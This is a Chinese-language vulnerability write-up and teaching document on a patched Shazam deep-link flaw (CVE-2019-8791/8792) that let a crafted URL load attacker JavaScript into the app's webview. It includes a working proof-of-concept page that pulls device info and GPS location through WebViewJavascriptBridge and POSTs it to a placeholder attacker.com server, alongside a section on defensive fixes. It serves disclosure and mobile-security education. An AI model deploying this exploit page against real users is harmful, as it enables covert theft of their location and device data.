挖洞经验 | 用一条URL链接获取Shazam用户地理位置
字数 1534 2025-08-15 21:33:37
Shazam应用深层链接漏洞分析与利用教学文档
漏洞概述
本漏洞涉及Shazam音乐识别应用中的深层链接(deeplink)机制安全问题,通过构造特定URL可实现开放重定向和JavaScript代码执行,进而获取用户精确地理位置等敏感信息。漏洞影响Android和iOS平台上的Shazam应用,编号为CVE-2019-8791(开放重定向)和CVE-2019-8792(任意JS代码执行)。
漏洞背景
- Shazam应用:苹果公司旗下软件,提供听音识曲功能,支持Windows、macOS和智能手机平台
- 影响范围:约1亿Shazam用户
- 漏洞发现时间:2018年底
- 修复时间:2019年3月26日
- 漏洞上报途径:security@apple.com
技术细节
1. 漏洞核心机制
Shazam应用使用了深层链接作为导航操作,其中存在一个特殊的导出深层链接:
shazam://launchurl?url=
该链接存在两个关键问题:
- 未对url参数值进行验证,允许嵌入外部资源
- 加载的webview控件包含js接口,可与手机API通信获取敏感信息
2. WebViewJavascriptBridge接口分析
通过反编译Shazam应用,发现webview控件附加了名为WebViewJavascriptBridge的js接口,可通过窗口对象访问。该接口提供了两个关键方法:
setMessageHandler- 设置消息处理函数sendMessage- 发送消息请求
攻击者可利用这些方法获取设备信息,特别是通过重写setMessageHandler函数来捕获sendMessage请求的响应。
3. 漏洞利用原理
构造的恶意URL会:
- 通过深层链接打开Shazam应用
- 加载攻击者控制的网页到webview
- 执行恶意JavaScript代码
- 通过js接口获取设备信息并外传
漏洞利用步骤
1. 构造攻击URL
基本格式:
shazam://launchurl?url=恶意网页地址
2. 创建恶意网页
恶意网页应包含利用WebViewJavascriptBridge接口的代码:
<html>
<script>
// 重写消息处理函数以捕获响应
window.WebViewJavascriptBridge.setMessageHandler(function(e) {
// 将获取的信息发送到攻击者服务器
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(e)
});
});
// 触发信息收集
window.onload = function() {
// 获取设备信息
window.WebViewJavascriptBridge.sendMessage(
JSON.stringify({type:'aboutBridge', data:'Device Info'})
);
// 获取位置信息
window.WebViewJavascriptBridge.sendMessage(
JSON.stringify({type:'location', data:'GPS'})
);
};
</script>
</html>
3. 攻击流程
- 攻击者向受害者发送构造好的URL链接
- 受害者点击链接并加载Shazam应用
- Shazam应用加载webview控件并执行嵌入的恶意代码
- 受害者地理位置等敏感信息被窃取并发送到攻击者控制的服务器
漏洞影响
-
信息泄露:
- 精确地理位置
- 设备信息
- 潜在的其他敏感数据
-
攻击特点:
- 隐蔽性强,用户只需点击链接
- 可发展为"零点击漏洞"(zero click vulnerability)
- 影响范围广(约1亿用户)
防御措施
1. 开发者修复方案
-
输入验证:
- 对深层链接的url参数进行严格验证
- 限制可加载的域名白名单
-
接口安全:
- 限制WebViewJavascriptBridge接口的访问权限
- 对敏感API调用增加用户确认步骤
-
沙箱机制:
- 将webview与敏感API隔离
- 实现内容安全策略(CSP)
2. 用户防护建议
- 保持应用更新至最新版本
- 谨慎点击不明来源的Shazam链接
- 定期检查应用权限设置
漏洞研究启示
- 深层链接安全:所有使用深层链接的应用都应严格验证参数
- WebView安全:嵌入webview时需注意js接口暴露风险
- 移动应用安全:移动端特有的攻击面需要特别关注
参考资源
-
官方漏洞编号:
- CVE-2019-8791 (开放重定向)
- CVE-2019-8792 (任意JS代码执行)
-
上报时间线:
- 2018年12月:漏洞发现并上报
- 2019年3月:漏洞修复
- 修复后8个月:苹果确认漏洞但拒绝奖励
本教学文档详细分析了Shazam应用深层链接漏洞的技术原理、利用方法和防御措施,可作为移动应用安全研究和渗透测试的参考案例。